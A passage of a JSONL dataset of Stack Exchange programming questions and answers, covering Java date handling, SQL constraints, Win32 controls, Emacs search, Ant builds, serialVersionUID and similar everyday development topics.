IPC mechanism to communicate with your executing app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.672588"}
{"id": "hf_3f3c61e336d3", "question": "<p>I need to be able to store a date (year/month/day) with no time component. It's an abstract concept of a date, such as a birthday - I need to represent a date in the year and not a particular instant in time.</p>\n\n<p>I am using Java to parse the date from some input text, and need to store in a MySQL database. No matter what timezone the database, application, or any client is in, they should all see the same year/month/day.</p>\n\n<p>My application will run on a machine with a different system timezone from the database server, and I don't have control over either. Does anyone have an elegant solution for ensuring I store the date correctly?</p>\n\n<p>I can think of these solutions, neither of which seems very nice:</p>\n\n<ul>\n<li>Query my MySQL connection for its timezone and parse the input date in that timezone</li>\n<li>Process the date entirely as a string yyyy-MM-dd</li>\n</ul>\n", "question_body": "", "answer": "You could zero out all time/timezone stuff:\n```\n```\npublic static Date truncateDate(Date date)\n    {\n        GregorianCalendar cal = getGregorianCalendar();\n        cal.set(Calendar.ZONE_OFFSET, 0); // UTC\n        cal.set(Calendar.DST_OFFSET, 0); // We don't want DST to get in the way.\n\n        cal.setTime(date);\n        cal.set(Calendar.MILLISECOND, 0);\n        cal.set(Calendar.SECOND, 0);\n        cal.set(Calendar.MINUTE, 0);\n        cal.set(Calendar.HOUR, 0);\n        cal.set(Calendar.AM_PM, Calendar.AM);\n\n        return cal.getTime();\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.696673"}
{"id": "hf_b64b2bd06bfd", "question": "<p>I have googled quite a bit and I cannot find the answer. So how many characters can be stored in a Windows Installer property value. If you give an answer can you provide the source of the answer?</p>\n", "question_body": "", "answer": "The MSDN documentation isn't very clear on this, but it does provide some hints.  For example, this article mentions that property values may be written to the registry, which means that registry value limitations apply:\nhttp://msdn.microsoft.com/en-us/library/aa372432%28VS.85%29.aspx\nHere is an article detailing registry value limitations:\nhttp://support.microsoft.com/kb/256986\nSo at a maximum, I'd use the registry value limitations as a guide (and still try to stay well below that).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.732797"}
{"id": "hf_aadfe5e92cc2", "question": "<p>When i do </p>\n\n<pre><code>wnd = CreateWindow(\"EDIT\", 0,\n    WS_CHILD | WS_VISIBLE | WS_VSCROLL | WS_HSCROLL | ES_MULTILINE | \n    ES_AUTOVSCROLL | ES_AUTOHSCROLL | ES_WANTRETURN,\n    x, y, w, h,\n    parentWnd,\n    NULL, NULL, NULL);\n</code></pre>\n\n<p>everything is fine, however if i remove the WS_VSCROLL and WS_HSCROLL then do the below, i do not get them thus have incorrect window. Why?\nNot only do i get an incorrect window it is unusable if both WS_VSCROLL and WS_HSCROLL are missing</p>\n\n<pre><code>style = WS_CHILD | WS_VISIBLE | WS_VSCROLL | WS_HSCROLL | ES_MULTILINE |\n    ES_AUTOVSCROLL | ES_AUTOHSCROLL | ES_WANTRETURN;\nSetWindowLong(wnd, GWL_STYLE, style);\n</code></pre>\n", "question_body": "", "answer": "Some control styles cannot be changed after window creation. The ES_AUTOHSCROLL style (which essentially controls word wrapping) is one of them; this is stated (somewhat indirectly) by the MSDN section on\nEdit Control Styles\n. You can set the bits using SetWindowLong(), but the control will either ignore them or behave erratically.\nThe only way to do this cleanly is to recreate the edit control using the required styles. This is actually what Notepad does when you toggle the \"Word Wrap\" setting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.804748"}
{"id": "hf_fc5573bd15da", "question": "<p>Is it possible to use the __unused attribute macro on Objective-C object method parameters? I've tried placing it in various positions around the parameter declaration but it either causes a compilation error or seems to be ignored (i.e., the compiler still generates unused parameter warnings when compiling with -Wall -Wextra).</p>\n\n<p>Has anyone been able to do use this? Is it just unsupported with Objective-C? For reference, I'm currently using Apple's build of GCC 4.0.1.</p>\n", "question_body": "", "answer": "I can compile the following just fine:\n```\n```\n- (NSString *) test:(__unused NSString *)test {\n    return nil;\n}\n```\n```\nEdit: Actually, that may not be strictly an arch thing:\n```\n```\nPhoenix-VI:CouchPusher louis$ cc -c Pusher.m -Wall -Werror\nPhoenix-VI:CouchPusher louis$ cc -c Pusher.m -Wall -Werror  -Wunused-parameter\ncc1obj: warnings being treated as errors\nPusher.m:40: warning: unused parameter ‘test’\nPhoenix-VI:CouchPusher louis$\n```\n```\nSo -Wall does not include not include -Wunused-parameter....", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.828718"}
{"id": "hf_5d7e404c3e9d", "question": "<p>Another angle:\nhow do I browse all the XUL for a given chrome path, e.g.</p>\n\n<p><a href=\"http://kb.mozillazine.org/Dev_:_Firefox_Chrome_URLs\" rel=\"nofollow noreferrer\">http://kb.mozillazine.org/Dev_:_Firefox_Chrome_URLs</a> has a listing but seems to be out of date.</p>\n", "question_body": "", "answer": "Mozilla\n```\nchrome://\n```\nURLs\nrefer to actual files located in a .jar file in some fairly well-defined places.\nThe main browser (chrome://browser/content/...) itself:\n```\n```\n{where you installed Firefox}/chrome/browser.jar\n```\n```\nFirefox add-ons:\n```\n```\n{your profile directory}/extensions/{extension id}/chrome/content/...\n```\n```\nwhere\n```\n{your profile directory}\n```\n, on Windows XP at least, is\n```\n```\nc:\\Documents and Settings\\{your username}\\Application Data\\Mozilla\\Firefox\\Profiles\\{your profile name, usually ends in .default}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.892323"}
{"id": "hf_aa2b3ebbb0ac", "question": "<p>I have an input String say <code>Please go to http://stackoverflow.com</code>. The url part of the String is detected and an anchor <code>&lt;a href=\"\"&gt;&lt;/a&gt;</code> is automatically added by many browser/IDE/applications. So it becomes <code>Please go to &lt;a href='http://stackoverflow.com'&gt;http://stackoverflow.com&lt;/a&gt;</code>.</p>\n\n<p>I need to do the same using Java.</p>\n", "question_body": "", "answer": "You could do something like this (adjust the regex to suit your needs):\n```\n```\nString originalString = \"Please go to http://www.stackoverflow.com\";\nString newString = originalString.replaceAll(\"http://.+?(com|net|org)/{0,1}\", \"<a href=\\\"$0\\\">$0</a>\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.916765"}
{"id": "hf_51c696c0a764", "question": "<p>Is there a way in FreeBSD to (being root) run a command as unprivileged user, like nobody? Kind of like reverse of sudo. Oh and considering that 'nobody' has /usr/sbin/nologin as shell - so <b>su</b> is not an option.</p>\n", "question_body": "", "answer": "sudo will allow you to run a command as another user.\n```\n```\nsudo -u nobody <command>\n```\n```\nwill run  as nobody, even if their login shell is not available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.977933"}
{"id": "hf_afa91650acd1", "question": "<p>In Vim I can <code>:set wrapscan</code> so that when I do an incremental search, the cursor jumps to the first match whether the first match is above or below the cursor.</p>\n\n<p>In Emacs, if I start a search via <code>C-s</code>, the search fails saying <em>Failing I-search</em> if the first match is above the cursor.  If I hit <code>C-s</code> again it then wraps the search, saying <em>Wrapped I-search</em>.  How do I wrap and jump the cursor by default as in Vim, without having to <code>C-s</code> a second time?</p>\n", "question_body": "", "answer": "The easiest way to do this is to use the following defadvice:\n```\n```\n(defadvice isearch-repeat (after isearch-no-fail activate)\n  (unless isearch-success\n    (ad-disable-advice 'isearch-repeat 'after 'isearch-no-fail)\n    (ad-activate 'isearch-repeat)\n    (isearch-repeat (if isearch-forward 'forward))\n    (ad-enable-advice 'isearch-repeat 'after 'isearch-no-fail)\n    (ad-activate 'isearch-repeat)))\n```\n```\nWhen Isearch fails, it immediately tries again with wrapping. Note that it is important to temporarily disable this defadvice to prevent an infinite loop when there are no matches.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.001708"}
{"id": "hf_2f2032cd3d67", "question": "<p>We've got a WinForms app written in C# that has a very custom GUI.  The user is not allowed to run any other applications and the user cannot go into the OS (WinXP Pro) at all.  We're planning on allowing the user to connect to available wireless networks. We're going to have to create a configuration screen that displays available networks (by SSID) and allows the user to connect.  While connected we want to display signal strength.</p>\n\n<p>Are there any existing components that provide this capability?  I haven't found anything but <a href=\"http://sysnet.ucsd.edu/pawn/wrapi/\" rel=\"nofollow noreferrer\">this</a>.</p>\n\n<p>I can set the TCP/IP settings using WMI, but it's the wireless stuff that I need a direction on.</p>\n\n<p>Many thanks!</p>\n\n<p>Matt</p>\n", "question_body": "", "answer": "Managed Wifi API\nshould work.\nThis might not be ideal - you have XP, which is good, but you would have to deploy a hotfix.  I'd go for it, because all the wifi code I've dealt with (for the Compact Framework) is hideous.  This code is as simple as could be.\nTheir sample code doesn't include reading the signal strength, though, and I'm not sure if the Native wifi API provides that.  I have written C# code that gets the wireless signal strength, but it did this by PInvoking into a manufacturer-specific DLL available only on their devices.  It may be that you'll have to do something similar to get the wireless strength from your PC's wireless card (and that may be why that functionality is not available in an all-purpose API).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.037884"}
{"id": "hf_db544a695445", "question": "<p>I need to know how to return a default row if no rows exist in a table. What would be the best way to do this? I'm only returning a single column from this particular table to get its value. </p>\n\n<p>Edit: This would be SQL Server. </p>\n", "question_body": "", "answer": "Do you want to return a full row?  Does the default row need to have default values or can it be an empty row?  Do you want the default row to have the same column structure as the table in question?\nDepending on your requirements, you might do something like this:\n1)  run the query and put results in a temp table (or table variable)\n2)  check to see if the temp table has results\n3)  if not, return an empty row by performing a select statement similar to this (in SQL Server):\n```\n```\nselect '' as columnA, '' as columnB, '' as columnC from #tempTable\n```\n```\nWhere columnA, columnB and columnC are your actual column names.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.062316"}
{"id": "hf_2297c8fa7815", "question": "<p>I understand that BigDecimal is recommended best practice for representing monetary values in Java. What do you use? Is there a better library that you prefer to use instead?</p>\n", "question_body": "", "answer": "```\nBigDecimal\n```\nall the way. I've heard of some folks creating their own\n```\nCash\n```\nor\n```\nMoney\n```\nclasses which encapsulate a cash value with the currency, but under the skin it's still a\n```\nBigDecimal\n```\n, probably with\n```\nBigDecimal.ROUND_HALF_EVEN\n```\nrounding.\nEdit:\nAs Don mentions in\nhis answer\n, there are open sourced projects like\ntimeandmoney\n, and whilst I applaud them for trying to prevent developers from having to reinvent the wheel, I just don't have enough confidence in a pre-alpha library to use it in a production environment. Besides, if you dig around under the hood, you'll see\nthey use\n```\nBigDecimal\n```\ntoo\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.098506"}
{"id": "hf_397ecdc72360", "question": "<p>Here is a nice underhand lob pitch to you guys.</p>\n\n<p>So basically I've got my content table with unique primary key IDs and I've got my tag table with unique primary key IDs. </p>\n\n<p>I've got a table that has an identity column as a primary key but the two other columes are the contentID and tagID.  What do I need to do to the table to make sure that I only have the same contentID and tagID combo only once.</p>\n", "question_body": "", "answer": "You put a Unique constraint on contentID, tagID.\nFor SQL Server\n```\n```\nALTER TABLE ContentTag ADD CONSTRAINT\n    IX_ContentID_TagID_Unique UNIQUE NONCLUSTERED ( contentID,  tagID ) \nGO\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.123472"}
{"id": "hf_241b0a05385c", "question": "<p>i'm looking for a way to programatically convert word documents in docx format to doc format without using ole automation.  i already have a windows service that does this but it means installing office on a server and it is a little unreliable and not supported.  i am aware of the aspose.words product, and i will try it out, but has anyone any recommendations for how to do this as simply, reliably, and cheaply as possible?</p>\n", "question_body": "", "answer": "One option without using OLE automation would be to wrap the converter dlls coming with compatibility pack in order to convert from docx to doc without automating Office.\nThis requires only that the Compatibility Pack of Office is installed on the machine.\nThe Office converter dlls convert from the document format that they support to RTF and/or from RTF to their document format using the interface ForeignToRtf/RtfToForeign. You can chain converters as you wish to convert from one format to another, e.g. to do a conversion DOCX -> RTF -> DOC.\nYou can get the\nSDK from Microsoft\n, which includes several samples on how to use existing converters. If I remember correctly there is already a command line wrapper sample included. Everything is C/C++ stuff.\nYou can find out which of the converter dlls are responsible for OpenXML conversion by looking at the following registry key:\n```\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Shared Tools\\Text Converters\\Import\\Word12\n```\n```\nLet me know if you need further details on this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.160415"}
{"id": "hf_02d0471e0f3e", "question": "<p>Some of the platforms that I develop on, don't have profiling tools.  I am looking for suggestions/techniques that you have personally used to help you identify hotspots, without the use of a profiler.</p>\n\n<p>The target language is C++.</p>\n\n<p>I am interested in what you have personally used.</p>\n", "question_body": "", "answer": "In essence, if a profiling tool is not available, you emulate what a profiler would have done.  You insert counters into functions you think are interesting and count how many times, and potentially with what size/sort of arguments they're called.\nIf you have access to any timers on your platform, you may start/stop these at the beginning/end of said functions to get execution time information as well, if this is unclear from the code.  This is going to give you the biggest bang for your buck in complex code, as there will usually be too many functions to instrument them all.  Instead, you can obtain the time spent in certain sections of code by dedicating a timer to each one.\nThese two techniques in tandem can form an iterative approach, where you find the broad section of code that consumes the majority of your cycles using timers, then instrument individual functions at a finer granularity to hone in on the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.184915"}
{"id": "hf_58e97e8acdd9", "question": "<p>I have a file (called \"number.txt\") which I want to read to an array in Java. How exactly do I go ahead and do this? It is a straight-forward \"1-dimensional\" file, containing 100 numbers.</p>\n\n<p>The problem is that I get an exception every time. Apparently it can't find it (I am sure its spelled correctly). When looking through code examples, it doesn't specify the file's entire file path, only the name of the file itself. How would I go about doing that if its necessary?</p>\n\n<p>Also, when reading the file, will the array automatically contain all the lines of the file, or will I have to make a loop which which copies every line to corresponding subscript i?</p>\n\n<p>I've heard of BufferedReader class, what it's purpose, and how does it corelate to reading input?</p>\n", "question_body": "", "answer": "Here is some example code to help you get started:\n```\n```\npackage com.acme;\n\nimport java.io.BufferedReader;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class FileArrayProvider {\n\n    public String[] readLines(String filename) throws IOException {\n        FileReader fileReader = new FileReader(filename);\n        BufferedReader bufferedReader = new BufferedReader(fileReader);\n        List<String> lines = new ArrayList<String>();\n        String line = null;\n        while ((line = bufferedReader.readLine()) != null) {\n            lines.add(line);\n        }\n        bufferedReader.close();\n        return lines.toArray(new String[lines.size()]);\n    }\n}\n```\n```\nAnd an example unit test:\n```\n```\npackage com.acme;\n\nimport java.io.IOException;\n\nimport org.junit.Test;\n\npublic class FileArrayProviderTest {\n\n    @Test\n    public void testFileArrayProvider() throws IOException {\n        FileArrayProvider fap = new FileArrayProvider();\n        String[] lines = fap\n                .readLines(\"src/main/java/com/acme/FileArrayProvider.java\");\n        for (String line : lines) {\n            System.out.println(line);\n        }\n    }\n}\n```\n```\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.209767"}
{"id": "hf_491b3cb05f93", "question": "<p>What's the best way to run scheduled tasks in a Rails environment? Script/runner? Rake? I would like to run the task every few minutes.</p>\n", "question_body": "", "answer": "Assuming your tasks don't take too long to complete, just create a new controller with an action for each task. Implement the logic of the task as controller code, Then set up a cronjob at the OS level that uses wget to invoke the URL of this controller and action at the appropriate time intervals. The advantages of this method are you:\nHave full access to all your Rails objects just as in a normal controller.\nCan develop and test just as you do normal actions.\nCan also invoke your tasks adhoc from a simple web page.\nDon't consume any more memory by firing up additional ruby/rails processes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.258838"}
{"id": "hf_bef1d518002a", "question": "<p>I've tried the following, but I was unsuccessful:</p>\n\n<pre><code>ALTER TABLE person ALTER COLUMN dob POSITION 37;\n</code></pre>\n", "question_body": "", "answer": "\"\nAlter column position\n\" in the PostgreSQL Wiki says:\nPostgreSQL currently defines column\n  order based on the\n```\nattnum\n```\ncolumn of\n  the\n```\npg_attribute\n```\ntable. The only way\n  to change column order is either by\n  recreating the table, or by adding\n  columns and rotating data until you\n  reach the desired layout.\nThat's pretty weak, but in their defense, in standard SQL, there is no solution for repositioning a column either.  Database brands that support changing the ordinal position of a column are defining an extension to SQL syntax.\nOne other idea occurs to me:  you can define a\n```\nVIEW\n```\nthat specifies the order of columns how you like it, without changing the physical position of the column in the base table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.339758"}
{"id": "hf_0b777f573717", "question": "<p>So, let's say I want to write a class that operates on different kinds of numbers, but I don't a priori know what kind of numbers (i.e. ints, doubles, etc.) I will be operating on.</p>\n\n<p>I would like to use generics to create a general class for this scenario.  Something like:</p>\n\n<pre><code> Adder&lt;Double&gt; adder = new Adder&lt;Double&gt;();\n adder.add(10.0d, 10.0d);   // = 20.0d\n</code></pre>\n\n<p>But, I cannot instantiate the generic type I pass in to my Adder class!  So -- what to do?</p>\n", "question_body": "", "answer": "Uh oh---generics are not C++ templates. Because of type erasure, the\n```\nDouble\n```\nin your example won't even show through to the runtime system.\nIn your particular case, if you just want to be able to add various types together, may I suggest method overloading? e.g.,\n```\ndouble add(double, double)\n```\n,\n```\nfloat add(float, fload)\n```\n,\n```\nBigDecimal add(BigDecimal, BigDecimal)\n```\n, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.364026"}
{"id": "hf_12f16af1a7be", "question": "<p>In Python I could've converted it to Unicode and do '(?u)^[\\w ]+$' regex search, but PHP doesn't seem to understand international \\w, or does it?</p>\n", "question_body": "", "answer": "Although I haven't tested myself, looking at\nhttp://us3.php.net/manual/en/reference.pcre.pattern.syntax.php\nsuggests the following: '/^[\\p{L} ]+$/u' would work - the \\p{L} will match any unicode letter.  Additionally, you can apparently write this without the curly brackets - '/^[\\pL ]+$/u'.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.403562"}
{"id": "hf_c7a252c70114", "question": "<p>One of my columns is called <code>from</code>. I can't change the name because I didn't make it.\nAm I allowed to do something like <code>SELECT from FROM TableName</code> or is there a special syntax to avoid the SQL Server being confused?</p>\n", "question_body": "", "answer": "Wrap the column name in brackets like so,\n```\nfrom\n```\nbecomes [from].\n```\n```\nselect [from] from table;\n```\n```\nIt is also possible to use the following (useful when querying multiple tables):\n```\n```\nselect table.[from] from table;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.439104"}
{"id": "hf_f75a9b0b67d2", "question": "<p>I have been using git for several months in a project developed only by myself. I have a local repository and push it regularly to github for backup purposes.</p>\n\n<p>I want to add another developer to this project, however I will have the responsibility of integrating the whole project.</p>\n\n<p>What is the recommended workflow? </p>\n\n<p>Do we need a private and a public repository for each developer?</p>\n\n<p>If the github repository is the main one, does the other developer have to clone this repository or the repository in my computer?</p>\n\n<p>Should he have the right to push in my repository or should I pull from his repository?</p>\n", "question_body": "", "answer": "Git is geared towards\npulling\n, rather than pushing. Ideally, the other developer would clone from your\npublic\nrepo on Github; then, when he was done with his changes, you'd either pull from a repo that he makes available to you, or you'd integrate his changes with patches that he emails to you. Either way, you'd pull the changes into the\nprivate\nrepo\non your computer\n, fix any mistakes that result from the merge, and then push his changes to your public repo (the one on Github).\nOf course, there's nothing wrong with giving him commit access to your Github repo, either.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.463656"}
{"id": "hf_8a325170d408", "question": "<p>Eclipse issues warnings when a <code>serialVersionUID</code> is missing.  </p>\n\n<blockquote>\n  <p>The serializable class Foo does not declare a static final\n  serialVersionUID field of type long</p>\n</blockquote>\n\n<p>What is <code>serialVersionUID</code> and why is it important?  Please show an example where missing <code>serialVersionUID</code> will cause a problem.</p>\n", "question_body": "", "answer": "The docs for\n```\njava.io.Serializable\n```\nare probably about as good an explanation as you'll get:\nThe serialization runtime associates with each serializable class a version number, called a\n```\nserialVersionUID\n```\n, which is used during deserialization to verify that the sender and receiver of a serialized object have loaded classes for that object that are compatible with respect to serialization. If the receiver has loaded a class for the object that has a different\n```\nserialVersionUID\n```\nthan that of the corresponding sender's class, then deserialization will result in an\n```\nInvalidClassException\n```\n. A serializable class can declare its own\n```\nserialVersionUID\n```\nexplicitly by declaring a field named\n```\nserialVersionUID\n```\nthat must be static, final, and of type\n```\nlong\n```\n:\n```\n```\nANY-ACCESS-MODIFIER static final long serialVersionUID = 42L;\n```\n```\nIf a serializable class does not explicitly declare a\n```\nserialVersionUID\n```\n, then the serialization runtime will calculate a default\n```\nserialVersionUID\n```\nvalue for that class based on various aspects of the class, as described in the Java(TM) Object Serialization Specification. However, it is\nstrongly recommended\nthat all serializable classes explicitly declare\n```\nserialVersionUID\n```\nvalues, since the default\n```\nserialVersionUID\n```\ncomputation is highly sensitive to class details that may vary depending on compiler implementations, and can thus result in unexpected\n```\nInvalidClassExceptions\n```\nduring deserialization. Therefore, to guarantee a consistent\n```\nserialVersionUID\n```\nvalue across different java compiler implementations, a serializable class must declare an explicit\n```\nserialVersionUID\n```\nvalue. It is also strongly advised that explicit\n```\nserialVersionUID\n```\ndeclarations use the private modifier where possible, since such declarations apply only to the immediately declaring class —\n```\nserialVersionUID\n```\nfields are not useful as inherited members.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.500475"}
{"id": "hf_0ba74da12d23", "question": "<p>I want to reverse engineer (import into diagram form) the database definition dump of a database I have, then since no foreign keys are defined in this particular database, I want to be able to manually create the table to table key mappings (using crow feet notation if possible).</p>\n\n<p>I've taken a look at MySQL Workbench, and it gets me 85% of the way there.\nThe nice little relationship lines won't show up though, and the auto arrange is horrible. A quick search of google turns up several other options, so I <em>can</em> evaluate these on my own, but:</p>\n\n<p>Can I get some feedback from you guys for which are your favorite tools to use for this scenario? Why do you like that(your) particular tool?</p>\n\n<p>My intended purpose is to take a legacy database, and train jr. engineers on the organization of the DB. Visual aids are nifty. My fallback option is to recreate an ER diagram by hand. Not fun for 250+ tables. </p>\n", "question_body": "", "answer": "I've had some success using two commercial (but relatively cheap!) tools- but I still haven't found any really solid open source ones after months of looking.\nMyEclipseIDE\nis a subscription product, I think it's around $60 a year. It's a set of bundled plugins for Eclipse, one of them is an ERD analyzer that works OK. If you're programming in Java (or another eclipse-supported language), it may be worth it.\nSQLMaestro for MySQL\n: This one is a bit more expensive, with a $99 noncommercial / $179 single seat license. The ERD it generates is much better, and it provides other tools that make it easier to administer and maintain a more complex schema.\nMy understanding is that MySQL Workbench is still under active development, but they've been banging on it for a long time without really wrapping it up. Maybe now that Sun owns them, they'll get it together.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.550300"}
{"id": "hf_8a8f92d26f31", "question": "<p>Using Java, how can I test that a URL is contactable, and returns a valid response?</p>\n\n<pre><code>http://stackoverflow.com/about\n</code></pre>\n", "question_body": "", "answer": "The solution as a unit test:\n```\n```\npublic void testURL() throws Exception {\n    String strUrl = \"http://stackoverflow.com/about\";\n\n    try {\n        URL url = new URL(strUrl);\n        HttpURLConnection urlConn = (HttpURLConnection) url.openConnection();\n        urlConn.connect();\n\n        assertEquals(HttpURLConnection.HTTP_OK, urlConn.getResponseCode());\n    } catch (IOException e) {\n        System.err.println(\"Error creating HTTP connection\");\n        e.printStackTrace();\n        throw e;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.634283"}
{"id": "hf_f92991f62280", "question": "<p>I want to create an Ant buildfile, that includes some files as a sort of plugin.</p>\n\n<p>So if I want to activate a feature in a project - say pmd-checking - I copy a pmd.xml in a directory and the build.xml get on the start the idea, that pmd.xml exists and imports it, so that new targets can be available to the build.</p>\n\n<p>But the 'import' task can only be used as a top-level task, so I have no idea how to relize this functionality. Is this possible with Ant and if so, how can I do it?</p>\n\n<p>EDIT: I would prefer a solution, that allows new targets to show up in the listing presented by <code>ant -p</code>.</p>\n", "question_body": "", "answer": "You can use the\nant\ntask and even parameterize the target name. Here's an example:\n```\n```\n<ant antfile=\"plugins/pmd.xml\" target=\"${pmd-target}\"/>\n```\n```\nIf you want more flexibility, I recommend checking\ngant\nor\ngradle\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.658987"}
{"id": "hf_b2158b99759e", "question": "<p>Does anyone know how to use the <a href=\"http://msdn.microsoft.com/en-us/library/ms645543(VS.85).aspx\" rel=\"nofollow noreferrer\">Raw Input</a> facility on Windows from a WX Python application?</p>\n\n<p>What I need to do is be able to differentiate the input from multiple keyboards. So if there is another way to achieving that, that would work too.</p>\n", "question_body": "", "answer": "Have you tried using ctypes?\n```\n```\n>>> import ctypes\n>>> ctypes.windll.user32.RegisterRawInputDevices\n<_FuncPtr object at 0x01FCFDC8>\n```\n```\nIt would be a little work setting up the Python version of the necessary structures, but you may be able to query the Win32 API directly this way without going through wxPython.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.683561"}
